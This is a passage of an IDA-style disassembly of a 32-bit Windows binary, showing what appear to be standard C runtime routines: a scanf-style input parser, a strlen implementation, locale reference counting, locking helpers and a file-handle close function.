		jmp	short loc_417456
; ---------------------------------------------------------------------------


loc_417452:				; CODE XREF: sub_416F0B+541j
		mov	al, dl
		mov	dl, cl


loc_417456:				; CODE XREF: sub_416F0B+545j
		cmp	dl, al
		ja	short loc_417485
		movzx	esi, dl
		sub	al, dl
		inc	al
		movzx	eax, al
		mov	[ebp+var_1D0], eax


loc_41746A:				; CODE XREF: sub_416F0B+578j
		mov	eax, esi
		shr	eax, 3
		add	eax, ebx
		mov	ecx, esi
		and	ecx, 7
		mov	dl, 1
		shl	dl, cl
		or	[eax], dl
		inc	esi
		dec	[ebp+var_1D0]
		jnz	short loc_41746A


loc_417485:				; CODE XREF: sub_416F0B+54Dj
		xor	dl, dl
		jmp	short loc_4174A2
; ---------------------------------------------------------------------------


loc_417489:				; CODE XREF: sub_416F0B+531j
					; sub_416F0B+535j ...
		mov	[ebp+var_39], al
		movzx	ecx, al
		mov	eax, ecx
		shr	eax, 3
		add	eax, ebx
		and	ecx, 7
		mov	dl, 1
		shl	dl, cl
		or	[eax], dl


loc_41749F:				; CODE XREF: sub_416F0B+51Ej
					; sub_416F0B+523j
		mov	dl, [ebp+var_39]


loc_4174A2:				; CODE XREF: sub_416F0B+52Cj
					; sub_416F0B+57Cj
		mov	al, [edi]
		cmp	al, 5Dh
		jnz	short loc_417439
		test	al, al
		jz	loc_417978
		mov	ebx, [ebp+var_64]
		cmp	[ebp+var_68], 7Bh
		jnz	short loc_4174BC
		mov	[ebp+arg_4], edi


loc_4174BC:				; CODE XREF: sub_416F0B+5ACj
		mov	edi, [ebp+var_68]


loc_4174BF:				; CODE XREF: sub_416F0B+42Dj
					; sub_416F0B+437j
		mov	esi, ebx
		dec	[ebp+var_30]
		cmp	[ebp+var_28], 0FFFFFFFFh
		jz	short loc_4174D7
		push	[ebp+arg_0]
		push	[ebp+var_28]
		call	sub_41C3EE
		pop	ecx
		pop	ecx


loc_4174D7:				; CODE XREF: sub_416F0B+5BDj
					; sub_416F0B+754j ...
		cmp	[ebp+var_44], 0
		jz	short loc_4174EB
		mov	eax, [ebp+var_48]
		dec	[ebp+var_48]
		test	eax, eax
		jz	loc_41767D


loc_4174EB:				; CODE XREF: sub_416F0B+5D0j
		inc	[ebp+var_30]
		mov	edx, [ebp+arg_0]
		call	sub_416EF5
		mov	[ebp+var_28], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_41766A
		cmp	edi, 63h
		jz	short loc_41754B
		cmp	edi, 73h
		jnz	short loc_41751B
		cmp	eax, 9
		jl	short loc_417516
		cmp	eax, 0Dh
		jle	short loc_41751B


loc_417516:				; CODE XREF: sub_416F0B+604j
		cmp	eax, 20h
		jnz	short loc_41754B


loc_41751B:				; CODE XREF: sub_416F0B+5FFj
					; sub_416F0B+609j
		cmp	edi, 7Bh
		jnz	loc_41766A
		mov	ecx, eax
		and	ecx, 7
		xor	edx, edx
		inc	edx
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		mov	edi, [ebp+var_20]
		movsx	ecx, byte ptr [ecx+edi]
		movsx	edi, [ebp+var_49]
		xor	ecx, edi
		test	edx, ecx
		jz	loc_41766A
		mov	edi, [ebp+var_68]


loc_41754B:				; CODE XREF: sub_416F0B+5FAj
					; sub_416F0B+60Ej
		cmp	[ebp+var_4B], 0
		jnz	loc_417664
		cmp	[ebp+var_4D], 0
		jz	loc_417659
		mov	[ebp+var_1D4], al
		movzx	eax, al
		mov	ecx, off_42DEA0
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_417586
		inc	[ebp+var_30]
		mov	edx, [ebp+arg_0]
		call	sub_416EF5
		mov	[ebp+var_1D3], al


loc_417586:				; CODE XREF: sub_416F0B+668j
		push	dword_42E0F4
		lea	eax, [ebp+var_1D4]
		push	eax
		lea	eax, [ebp+var_1D8]
		push	eax
		call	sub_41C51A
		add	esp, 0Ch
		mov	ax, [ebp+var_1D8]
		mov	[ebx], ax
		inc	ebx
		inc	ebx
		jmp	loc_41765C
; ---------------------------------------------------------------------------


loc_4175B3:				; CODE XREF: sub_416F0B+27Fj
		cmp	ebx, 2Bh
		jnz	short loc_4175D6


loc_4175B8:				; CODE XREF: sub_416F0B+289j
		dec	[ebp+var_48]
		jnz	short loc_4175C7
		test	ecx, ecx
		jz	short loc_4175C7
		mov	[ebp+var_4C], 1
		jmp	short loc_4175D6
; ---------------------------------------------------------------------------


loc_4175C7:				; CODE XREF: sub_416F0B+6B0j
					; sub_416F0B+6B4j
		inc	[ebp+var_30]
		mov	edx, esi
		call	sub_416EF5
		mov	ebx, eax
		mov	[ebp+var_28], ebx


loc_4175D6:				; CODE XREF: sub_416F0B+6ABj
					; sub_416F0B+6BAj
		cmp	ebx, 30h
		jnz	loc_4176EB
		inc	[ebp+var_30]
		mov	edx, esi
		call	sub_416EF5
		mov	ebx, eax
		mov	[ebp+var_28], ebx
		cmp	bl, 78h
		jz	short loc_417633
		cmp	bl, 58h
		jz	short loc_417633
		mov	[ebp+var_40], 1
		cmp	edi, 78h
		jz	short loc_41761A
		cmp	[ebp+var_44], 0
		jz	short loc_417612
		dec	[ebp+var_48]
		jnz	short loc_417612
		inc	[ebp+var_4C]


loc_417612:				; CODE XREF: sub_416F0B+6FDj
					; sub_416F0B+702j
		push	6Fh


loc_417614:				; CODE XREF: sub_416F0B+74Cj
		pop	edi
		jmp	loc_4176EB
; ---------------------------------------------------------------------------


loc_41761A:				; CODE XREF: sub_416F0B+6F7j
		dec	[ebp+var_30]
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41762B
		push	esi
		push	ebx
		call	sub_41C3EE
		pop	ecx
		pop	ecx


loc_41762B:				; CODE XREF: sub_416F0B+715j
		push	30h
		pop	ebx
		jmp	loc_4176E8
; ---------------------------------------------------------------------------


loc_417633:				; CODE XREF: sub_416F0B+6E6j
					; sub_416F0B+6EBj
		inc	[ebp+var_30]
		mov	edx, esi
		call	sub_416EF5
		mov	ebx, eax
		mov	[ebp+var_28], ebx
		cmp	[ebp+var_44], 0
		jz	short loc_417655
		sub	[ebp+var_48], 2
		cmp	[ebp+var_48], 1
		jge	short loc_417655
		inc	[ebp+var_4C]


loc_417655:				; CODE XREF: sub_416F0B+73Bj
					; sub_416F0B+745j
		push	78h
		jmp	short loc_417614
; ---------------------------------------------------------------------------


loc_417659:				; CODE XREF: sub_416F0B+64Ej
		mov	[ebx], al
		inc	ebx


loc_41765C:				; CODE XREF: sub_416F0B+6A3j
		mov	[ebp+var_64], ebx
		jmp	loc_4174D7
; ---------------------------------------------------------------------------


loc_417664:				; CODE XREF: sub_416F0B+644j
		inc	esi
		jmp	loc_4174D7
; ---------------------------------------------------------------------------


loc_41766A:				; CODE XREF: sub_416F0B+5F1j
					; sub_416F0B+613j ...
		dec	[ebp+var_30]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41767D
		push	[ebp+arg_0]
		push	eax
		call	sub_41C3EE
		pop	ecx
		pop	ecx


loc_41767D:				; CODE XREF: sub_416F0B+5DAj
					; sub_416F0B+765j
		cmp	esi, ebx
		jz	loc_417978
		cmp	[ebp+var_4B], 0
		jnz	loc_4178EC
		inc	[ebp+var_34]
		cmp	[ebp+var_68], 63h
		jz	loc_4178EC
		mov	eax, [ebp+var_64]
		cmp	[ebp+var_4D], 0
		jz	short loc_4176AE
		and	word ptr [eax],	0
		jmp	loc_4178EC
; ---------------------------------------------------------------------------


loc_4176AE:				; CODE XREF: sub_416F0B+798j
		and	byte ptr [eax],	0
		jmp	loc_4178EC
; ---------------------------------------------------------------------------


loc_4176B6:				; CODE XREF: sub_416F0B+441j
		mov	[ebp+var_4F], 1


loc_4176BA:				; CODE XREF: sub_416F0B+221j
					; sub_416F0B+233j ...
		mov	ebx, [ebp+var_28]
		cmp	ebx, 2Dh
		jnz	short loc_4176C8
		mov	[ebp+var_4A], 1
		jmp	short loc_4176CD
; ---------------------------------------------------------------------------


loc_4176C8:				; CODE XREF: sub_416F0B+7B5j
		cmp	ebx, 2Bh
		jnz	short loc_4176EB


loc_4176CD:				; CODE XREF: sub_416F0B+7BBj
		dec	[ebp+var_48]
		jnz	short loc_4176DC
		test	ecx, ecx
		jz	short loc_4176DC
		mov	[ebp+var_4C], 1
		jmp	short loc_4176EB
; ---------------------------------------------------------------------------


loc_4176DC:				; CODE XREF: sub_416F0B+7C5j
					; sub_416F0B+7C9j
		inc	[ebp+var_30]
		mov	edx, esi
		call	sub_416EF5
		mov	ebx, eax


loc_4176E8:				; CODE XREF: sub_416F0B+723j
		mov	[ebp+var_28], ebx


loc_4176EB:				; CODE XREF: sub_416F0B+6CEj
					; sub_416F0B+70Aj ...
		cmp	[ebp+var_54], 0
		jz	loc_4177F0
		cmp	[ebp+var_4C], 0
		jnz	loc_4177CE


loc_4176FF:				; CODE XREF: sub_416F0B+8BAj
		cmp	edi, 78h
		jz	short loc_41774A
		cmp	edi, 70h
		jz	short loc_41774A
		push	ebx
		call	sub_41C33B
		pop	ecx
		test	eax, eax
		jz	short loc_41777B
		cmp	edi, 6Fh
		jnz	short loc_417733
		cmp	ebx, 38h
		jge	short loc_41777B
		mov	eax, [ebp+var_5C]
		mov	ecx, [ebp+var_58]
		shld	ecx, eax, 3
		shl	eax, 3
		mov	[ebp+var_5C], eax
		mov	[ebp+var_58], ecx
		jmp	short loc_41777E
; ---------------------------------------------------------------------------


loc_417733:				; CODE XREF: sub_416F0B+80Cj
		push	0
		push	0Ah
		push	[ebp+var_58]
		push	[ebp+var_5C]
		call	sub_414E90
		mov	[ebp+var_5C], eax
		mov	[ebp+var_58], edx
		jmp	short loc_41777E
; ---------------------------------------------------------------------------


loc_41774A:				; CODE XREF: sub_416F0B+7F7j
					; sub_416F0B+7FCj
		push	ebx
		call	sub_41C375
		pop	ecx
		test	eax, eax
		jz	short loc_41777B
		mov	eax, [ebp+var_5C]
		mov	ecx, [ebp+var_58]
		shld	ecx, eax, 4
		shl	eax, 4
		mov	[ebp+var_5C], eax
		mov	[ebp+var_58], ecx
		push	ebx
		call	sub_41C33B
		pop	ecx
		test	eax, eax
		jnz	short loc_41777E
		and	ebx, 0FFFFFFDFh
		sub	ebx, 7
		jmp	short loc_41777E
; ---------------------------------------------------------------------------


loc_41777B:				; CODE XREF: sub_416F0B+807j
					; sub_416F0B+811j ...
		inc	[ebp+var_4C]


loc_41777E:				; CODE XREF: sub_416F0B+826j
					; sub_416F0B+83Dj ...
		cmp	[ebp+var_4C], 0
		jnz	short loc_4177B0
		inc	[ebp+var_40]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_5C], eax
		adc	[ebp+var_58], edx
		cmp	[ebp+var_44], 0
		jz	short loc_4177A2
		dec	[ebp+var_48]
		jnz	short loc_4177A2
		mov	[ebp+var_4C], 1
		jmp	short loc_4177C1
; ---------------------------------------------------------------------------


loc_4177A2:				; CODE XREF: sub_416F0B+88Aj
					; sub_416F0B+88Fj
		inc	[ebp+var_30]
		mov	edx, esi
		call	sub_416EF5
		mov	ebx, eax
		jmp	short loc_4177C1
; ---------------------------------------------------------------------------


loc_4177B0:				; CODE XREF: sub_416F0B+877j
		dec	[ebp+var_30]
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_4177C1
		push	esi
		push	ebx
		call	sub_41C3EE
		pop	ecx
		pop	ecx


loc_4177C1:				; CODE XREF: sub_416F0B+895j
					; sub_416F0B+8A3j ...
		cmp	[ebp+var_4C], 0
		jz	loc_4176FF
		mov	[ebp+var_28], ebx


loc_4177CE:				; CODE XREF: sub_416F0B+7EEj
		cmp	[ebp+var_4A], 0
		jz	loc_4178AA
		mov	eax, [ebp+var_5C]
		neg	eax
		mov	ecx, [ebp+var_58]
		adc	ecx, 0
		neg	ecx
		mov	[ebp+var_5C], eax
		mov	[ebp+var_58], ecx
		jmp	loc_4178AA
; ---------------------------------------------------------------------------


loc_4177F0:				; CODE XREF: sub_416F0B+7E4j
		cmp	[ebp+var_4C], 0
		jnz	loc_4178A1


loc_4177FA:				; CODE XREF: sub_416F0B+98Dj
		cmp	edi, 78h
		jz	short loc_41782C
		cmp	edi, 70h
		jz	short loc_41782C
		push	ebx
		call	sub_41C33B
		pop	ecx
		test	eax, eax
		jz	short loc_41784E
		cmp	edi, 6Fh
		jnz	short loc_41781F
		cmp	ebx, 38h
		jge	short loc_41784E
		shl	[ebp+var_38], 3
		jmp	short loc_417851
; ---------------------------------------------------------------------------


loc_41781F:				; CODE XREF: sub_416F0B+907j
		mov	eax, [ebp+var_38]
		lea	eax, [eax+eax*4]
		shl	eax, 1
		mov	[ebp+var_38], eax
		jmp	short loc_417851
; ---------------------------------------------------------------------------


loc_41782C:				; CODE XREF: sub_416F0B+8F2j
					; sub_416F0B+8F7j
		push	ebx
		call	sub_41C375
		pop	ecx
		test	eax, eax
		jz	short loc_41784E
		shl	[ebp+var_38], 4
		push	ebx
		call	sub_41C33B
		pop	ecx
		test	eax, eax
		jnz	short loc_417851
		and	ebx, 0FFFFFFDFh
		sub	ebx, 7
		jmp	short loc_417851
; ---------------------------------------------------------------------------


loc_41784E:				; CODE XREF: sub_416F0B+902j
					; sub_416F0B+90Cj ...
		inc	[ebp+var_4C]


loc_417851:				; CODE XREF: sub_416F0B+912j
					; sub_416F0B+91Fj ...
		cmp	[ebp+var_4C], 0
		jnz	short loc_417883
		inc	[ebp+var_40]
		mov	eax, [ebp+var_38]
		lea	eax, [eax+ebx-30h]
		mov	[ebp+var_38], eax
		cmp	[ebp+var_44], 0
		jz	short loc_417875
		dec	[ebp+var_48]
		jnz	short loc_417875
		mov	[ebp+var_4C], 1
		jmp	short loc_417894
; ---------------------------------------------------------------------------


loc_417875:				; CODE XREF: sub_416F0B+95Dj
					; sub_416F0B+962j
		inc	[ebp+var_30]
		mov	edx, esi
		call	sub_416EF5
		mov	ebx, eax
		jmp	short loc_417894
; ---------------------------------------------------------------------------


loc_417883:				; CODE XREF: sub_416F0B+94Aj
		dec	[ebp+var_30]
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_417894
		push	esi
		push	ebx
		call	sub_41C3EE
		pop	ecx
		pop	ecx


loc_417894:				; CODE XREF: sub_416F0B+968j
					; sub_416F0B+976j ...
		cmp	[ebp+var_4C], 0
		jz	loc_4177FA
		mov	[ebp+var_28], ebx


loc_4178A1:				; CODE XREF: sub_416F0B+8E9j
		cmp	[ebp+var_4A], 0
		jz	short loc_4178AA
		neg	[ebp+var_38]


loc_4178AA:				; CODE XREF: sub_416F0B+8C7j
					; sub_416F0B+8E0j ...
		cmp	edi, 46h
		jnz	short loc_4178B3
		and	[ebp+var_40], 0


loc_4178B3:				; CODE XREF: sub_416F0B+9A2j
		cmp	[ebp+var_40], 0
		jz	loc_417978
		cmp	[ebp+var_4B], 0
		jnz	short loc_4178EC
		inc	[ebp+var_34]
		mov	ebx, [ebp+var_64]
		mov	eax, [ebp+var_38]


loc_4178CC:				; CODE XREF: sub_416F0B+259j
		cmp	[ebp+var_54], 0
		jz	short loc_4178DF
		mov	eax, [ebp+var_5C]
		mov	[ebx], eax
		mov	eax, [ebp+var_58]
		mov	[ebx+4], eax
		jmp	short loc_4178EC
; ---------------------------------------------------------------------------


loc_4178DF:				; CODE XREF: sub_416F0B+9C5j
		cmp	[ebp+var_4F], 0
		jz	short loc_4178E9
		mov	[ebx], eax
		jmp	short loc_4178EC
; ---------------------------------------------------------------------------


loc_4178E9:				; CODE XREF: sub_416F0B+9D8j
		mov	[ebx], ax


loc_4178EC:				; CODE XREF: sub_416F0B+25Fj
					; sub_416F0B+3F1j ...
		inc	[ebp+var_29]
		inc	[ebp+arg_4]
		jmp	short loc_41795C
; ---------------------------------------------------------------------------


loc_4178F4:				; CODE XREF: sub_416F0B+90j
		inc	[ebp+var_30]
		mov	edx, [ebp+arg_0]
		call	sub_416EF5
		mov	ebx, eax
		mov	[ebp+var_28], ebx
		movzx	eax, byte ptr [esi]
		inc	esi
		mov	[ebp+arg_4], esi
		cmp	eax, ebx
		jnz	short loc_417945
		movzx	eax, bl
		mov	ecx, off_42DEA0
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41795C
		inc	[ebp+var_30]
		mov	edx, [ebp+arg_0]
		call	sub_416EF5
		movzx	ecx, byte ptr [esi]
		inc	esi
		mov	[ebp+arg_4], esi
		cmp	ecx, eax
		jz	short loc_417959
		cmp	eax, 0FFFFFFFFh
		jz	short loc_417945
		push	[ebp+arg_0]
		push	eax
		call	sub_41C3EE
		pop	ecx
		pop	ecx


loc_417945:				; CODE XREF: sub_416F0B+A02j
					; sub_416F0B+A2Dj
		cmp	ebx, 0FFFFFFFFh


loc_417948:				; CODE XREF: sub_416F0B+471j
		jz	short loc_417978
		push	[ebp+arg_0]
		push	[ebp+var_28]
		call	sub_41C3EE
		pop	ecx
		pop	ecx
		jmp	short loc_417978
; ---------------------------------------------------------------------------


loc_417959:				; CODE XREF: sub_416F0B+A28j
		dec	[ebp+var_30]


loc_41795C:				; CODE XREF: sub_416F0B+9E7j
					; sub_416F0B+A12j
		cmp	[ebp+var_28], 0FFFFFFFFh
		jnz	loc_416F39
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	25h
		jnz	short loc_417978
		cmp	byte ptr [eax+1], 6Eh
		jz	loc_416F39


loc_417978:				; CODE XREF: sub_416F0B+35j
					; sub_416F0B+3E7j ...
		cmp	[ebp+var_24], 1
		jnz	short loc_417987
		push	[ebp+var_20]
		call	sub_414A14
		pop	ecx


loc_417987:				; CODE XREF: sub_416F0B+A71j
		mov	eax, [ebp+var_34]
		cmp	[ebp+var_28], 0FFFFFFFFh
		jnz	short loc_41799C
		test	eax, eax
		jnz	short loc_41799C
		cmp	[ebp+var_29], al
		jnz	short loc_41799C
		or	eax, 0FFFFFFFFh


loc_41799C:				; CODE XREF: sub_416F0B+A83j
					; sub_416F0B+A87j ...
		lea	esp, [ebp-1E4h]
		mov	ecx, [ebp+var_1C]
		xor	ecx, [ebp+4]
		call	sub_41A1F6
		call	__SEH_epilog
		retn
sub_416F0B	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4179C0	proc near		; CODE XREF: sub_4147C3+17p
					; sub_415B64+D2p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_4179F0


loc_4179CC:				; CODE XREF: sub_4179C0+1Bj
		mov	al, [ecx]
		add	ecx, 1
		test	al, al
		jz	short loc_417A23
		test	ecx, 3
		jnz	short loc_4179CC
		add	eax, 0
		lea	esp, [esp+0]
		lea	esp, [esp+0]


loc_4179F0:				; CODE XREF: sub_4179C0+Aj
					; sub_4179C0+46j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_4179F0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_417A41
		test	ah, ah
		jz	short loc_417A37
		test	eax, 0FF0000h
		jz	short loc_417A2D
		test	eax, 0FF000000h
		jz	short loc_417A23
		jmp	short loc_4179F0
; ---------------------------------------------------------------------------


loc_417A23:				; CODE XREF: sub_4179C0+13j
					; sub_4179C0+5Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_417A2D:				; CODE XREF: sub_4179C0+58j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_417A37:				; CODE XREF: sub_4179C0+51j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_417A41:				; CODE XREF: sub_4179C0+4Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_4179C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417A4B	proc near		; CODE XREF: sub_4148EA+2Ap
					; sub_41524A+37p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		mov	ecx, [ebp+arg_0]
		ja	short loc_417A69
		mov	ecx, [ecx+48h]
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_417ABD
; ---------------------------------------------------------------------------


loc_417A69:				; CODE XREF: sub_417A4B+13j
		push	esi
		mov	edx, eax
		sar	edx, 8
		push	edi
		mov	edi, [ecx+48h]
		movzx	esi, dl
		test	byte ptr [edi+esi*2+1],	80h
		pop	edi
		pop	esi
		jz	short loc_417A8E
		and	[ebp+var_2], 0
		push	2
		mov	[ebp+var_3], al
		mov	[ebp+var_4], dl
		pop	eax
		jmp	short loc_417A98
; ---------------------------------------------------------------------------


loc_417A8E:				; CODE XREF: sub_417A4B+32j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		xor	eax, eax
		inc	eax


loc_417A98:				; CODE XREF: sub_417A4B+41j
		push	1
		push	dword ptr [ecx+14h]
		push	dword ptr [ecx+4]
		lea	ecx, [ebp+arg_4+2]
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_41C5B0
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_417AB9
		leave
		retn
; ---------------------------------------------------------------------------


loc_417AB9:				; CODE XREF: sub_417A4B+6Aj
		movzx	eax, word ptr [ebp+arg_4+2]


loc_417ABD:				; CODE XREF: sub_417A4B+1Cj
		and	eax, [ebp+arg_8]
		leave
		retn
sub_417A4B	endp


; =============== S U B	R O U T	I N E =======================================



sub_417AC2	proc near		; CODE XREF: sub_417B8C+B7p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+3Ch]
		push	edi
		xor	edi, edi
		cmp	eax, dword_47C490
		jz	short loc_417B38
		cmp	eax, edi
		jz	short loc_417B38
		mov	eax, [esi+2Ch]
		cmp	[eax], edi
		jnz	short loc_417B38
		mov	eax, [esi+34h]
		cmp	eax, edi
		jz	short loc_417B03
		cmp	[eax], edi
		jnz	short loc_417B03
		cmp	eax, dword_47C610
		jz	short loc_417B03
		push	eax
		call	sub_414A14
		push	dword ptr [esi+3Ch]
		call	sub_41C959
		pop	ecx
		pop	ecx


loc_417B03:				; CODE XREF: sub_417AC2+23j
					; sub_417AC2+27j ...
		mov	eax, [esi+30h]
		cmp	eax, edi
		jz	short loc_417B26
		cmp	[eax], edi
		jnz	short loc_417B26
		cmp	eax, dword_47C614
		jz	short loc_417B26
		push	eax
		call	sub_414A14
		push	dword ptr [esi+3Ch]
		call	sub_41C8FA
		pop	ecx
		pop	ecx


loc_417B26:				; CODE XREF: sub_417AC2+46j
					; sub_417AC2+4Aj ...
		push	dword ptr [esi+2Ch]
		call	sub_414A14
		push	dword ptr [esi+3Ch]
		call	sub_414A14
		pop	ecx
		pop	ecx


loc_417B38:				; CODE XREF: sub_417AC2+11j
					; sub_417AC2+15j ...
		mov	eax, [esi+40h]
		cmp	eax, dword_47C60C
		jz	short loc_417B5B
		cmp	eax, edi
		jz	short loc_417B5B
		cmp	[eax], edi
		jnz	short loc_417B5B
		push	eax
		call	sub_414A14
		push	dword ptr [esi+44h]
		call	sub_414A14
		pop	ecx
		pop	ecx


loc_417B5B:				; CODE XREF: sub_417AC2+7Fj
					; sub_417AC2+83j ...
		mov	eax, [esi+50h]
		cmp	eax, dword_47C48C
		jz	short loc_417B82
		cmp	eax, edi
		jz	short loc_417B82
		cmp	[eax+0B4h], edi
		jnz	short loc_417B82
		push	eax
		call	sub_41C76A
		push	dword ptr [esi+50h]
		call	sub_414A14
		pop	ecx
		pop	ecx


loc_417B82:				; CODE XREF: sub_417AC2+A2j
					; sub_417AC2+A6j ...
		push	esi
		call	sub_414A14
		pop	ecx
		pop	edi
		pop	esi
		retn
sub_417AC2	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B8C	proc near		; CODE XREF: sub_417C4E+18p
		push	esi
		call	sub_416E15
		mov	esi, eax
		mov	eax, [esi+64h]
		cmp	eax, off_42D83C
		jz	loc_417C49
		test	eax, eax
		jz	short loc_417BD6
		mov	ecx, [eax+2Ch]
		dec	dword ptr [eax]
		test	ecx, ecx
		jz	short loc_417BB2
		dec	dword ptr [ecx]


loc_417BB2:				; CODE XREF: sub_417B8C+22j
		mov	ecx, [eax+34h]
		test	ecx, ecx
		jz	short loc_417BBB
		dec	dword ptr [ecx]


loc_417BBB:				; CODE XREF: sub_417B8C+2Bj
		mov	ecx, [eax+30h]
		test	ecx, ecx
		jz	short loc_417BC4
		dec	dword ptr [ecx]


loc_417BC4:				; CODE XREF: sub_417B8C+34j
		mov	ecx, [eax+40h]
		test	ecx, ecx
		jz	short loc_417BCD
		dec	dword ptr [ecx]


loc_417BCD:				; CODE XREF: sub_417B8C+3Dj
		mov	ecx, [eax+4Ch]
		dec	dword ptr [ecx+0B4h]


loc_417BD6:				; CODE XREF: sub_417B8C+19j
		mov	ecx, off_42D83C
		mov	[esi+64h], ecx
		mov	ecx, off_42D83C
		inc	dword ptr [ecx]
		mov	ecx, off_42D83C
		mov	ecx, [ecx+2Ch]
		test	ecx, ecx
		jz	short loc_417BF6
		inc	dword ptr [ecx]


loc_417BF6:				; CODE XREF: sub_417B8C+66j
		mov	ecx, off_42D83C
		mov	ecx, [ecx+34h]
		test	ecx, ecx
		jz	short loc_417C05
		inc	dword ptr [ecx]


loc_417C05:				; CODE XREF: sub_417B8C+75j
		mov	ecx, off_42D83C
		mov	ecx, [ecx+30h]
		test	ecx, ecx
		jz	short loc_417C14
		inc	dword ptr [ecx]


loc_417C14:				; CODE XREF: sub_417B8C+84j
		mov	ecx, off_42D83C
		mov	ecx, [ecx+40h]
		test	ecx, ecx
		jz	short loc_417C23
		inc	dword ptr [ecx]


loc_417C23:				; CODE XREF: sub_417B8C+93j
		mov	ecx, off_42D83C
		mov	ecx, [ecx+4Ch]
		inc	dword ptr [ecx+0B4h]
		test	eax, eax
		jz	short loc_417C49
		cmp	dword ptr [eax], 0
		jnz	short loc_417C49
		cmp	eax, offset dword_42D7E8
		jz	short loc_417C49
		push	eax
		call	sub_417AC2
		pop	ecx


loc_417C49:				; CODE XREF: sub_417B8C+11j
					; sub_417B8C+A8j ...
		mov	eax, [esi+64h]
		pop	esi
		retn
sub_417B8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C4E	proc near		; CODE XREF: sub_4148EA+12p
					; sub_415136+24p ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset stru_429008
		call	__SEH_prolog
		push	0Ch
		call	sub_418285
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		call	sub_417B8C
		mov	[ebp+var_1C], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_417C80
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_417C4E	endp


; =============== S U B	R O U T	I N E =======================================



sub_417C80	proc near		; CODE XREF: sub_417C4E+24p
					; DATA XREF: .rdata:stru_429008o
		push	0Ch
		call	sub_4181F1
		pop	ecx
		retn
sub_417C80	endp


; =============== S U B	R O U T	I N E =======================================



sub_417C89	proc near		; CODE XREF: sub_417D0C+4Cp
					; sub_41D55D+2DCp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		push	esi
		call	sub_41CD1B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_417CD7
		cmp	esi, 1
		jz	short loc_417CA5
		cmp	esi, 2
		jnz	short loc_417CBB


loc_417CA5:				; CODE XREF: sub_417C89+15j
		push	2
		call	sub_41CD1B
		push	1
		mov	edi, eax
		call	sub_41CD1B
		cmp	eax, edi
		pop	ecx
		pop	ecx
		jz	short loc_417CD7


loc_417CBB:				; CODE XREF: sub_417C89+1Aj
		push	esi
		call	sub_41CD1B
		pop	ecx
		push	eax
		call	ds:dword_42003C	; CloseHandle
		test	eax, eax
		jnz	short loc_417CD7
		call	ds:dword_420008	; RtlGetLastWin32Error
		mov	edi, eax
		jmp	short loc_417CD9
; ---------------------------------------------------------------------------


loc_417CD7:				; CODE XREF: sub_417C89+10j
					; sub_417C89+30j ...
		xor	edi, edi


loc_417CD9:				; CODE XREF: sub_417C89+4Cj
		push	esi
		call	sub_41CC9C
		mov	eax, esi
		sar	eax, 5
		mov	eax, dword_47C620[eax*4]
		and	esi, 1Fh
		pop	ecx
		lea	ecx, [esi+esi*8]
		and	byte ptr [eax+ecx*4+4],	0
		test	edi, edi
		jz	short loc_417D07
		push	edi
		call	sub_419612
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_417D09
; ---------------------------------------------------------------------------


loc_417D07:				; CODE XREF: sub_417C89+70j
		xor	eax, eax


loc_417D09:				; CODE XREF: sub_417C89+7Cj
		pop	edi
		pop	esi
		retn
sub_417C89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417D0C	proc near		; CODE XREF: sub_414977+20p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00417D8B SIZE 0000001C BYTES

		push	0Ch
		push	offset stru_429018
		call	__SEH_prolog
		mov	ebx, [ebp+arg_0]
		cmp	ebx, dword_47C618
		jnb	short loc_417D8B
		mov	eax, ebx
		sar	eax, 5
		lea	edi, ds:47C620h[eax*4]
		mov	eax, ebx
